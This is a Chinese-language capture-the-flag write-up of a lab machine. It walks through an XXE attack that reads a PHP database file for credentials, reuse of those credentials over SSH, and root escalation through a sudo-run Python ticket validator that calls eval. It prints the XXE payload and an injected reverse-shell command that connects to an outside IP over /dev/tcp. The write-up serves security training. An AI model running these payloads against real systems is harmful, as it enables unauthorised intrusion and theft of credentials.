0x01 信息收集
端口信息
目录扫描
0x02 打靶
一通乱点后来到一个后台地址:
提交后在burp中能够发现网站和后台通信的数据:
进行URL解码和BASE64解码后发现是xml:
于是可以试试XXE,首先读取文件:
成功了,接下来可以试试读取别的文件:
但是该读什么文件呢,在之前的扫描目录可以发现db.php
,于是尝试读取db.php
:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php">
]>
<bugreport>
<title>dfg</title>
<cwe>dfg</cwe>
<cvss>&test;</cvss>
<reward>dfg</reward>
</bugreport>
在拿到Base64字符串后拿去解码,可以拿到账户和密码:
但是之前的扫描端口发现数据库并没有开放外联,但总归是拿到了敏感信息的。然后还开放了ssh
,我们可以试着去撞库。
这里我们可以使用/etc/passwd
中拿到的账户做字典去跑。但是用户数量比较少我就选择了一个个试,最后试出了development
账户:
0x03 提权
在进行一些信息收集后,我使用命令
sudo -l
发现存在某个校验票据的脚本:
查看该脚本,该脚本是只读的。但是能够发现脚本使用了危险的函数eval
:
关键函数截取如下:
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
逻辑很好理解,我们需要根据代码执行逻辑一步步走直到eval
被执行。于是最后的payload如下:
# Skytrain Inc
## Ticket to
__Ticket Code:__
**11+10==__import__('subprocess').call("echo 'sh -i >& /dev/tcp/10.10.14.46/2333 0>&1'>x && bash x && rm -rf x",shell=True)
执行命令并开启监听,即可拿到shell:
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
拿到root的shell后在家目录下即可拿到secret:
0x04 参考
https://blog.csdn.net/whatday/article/details/102748376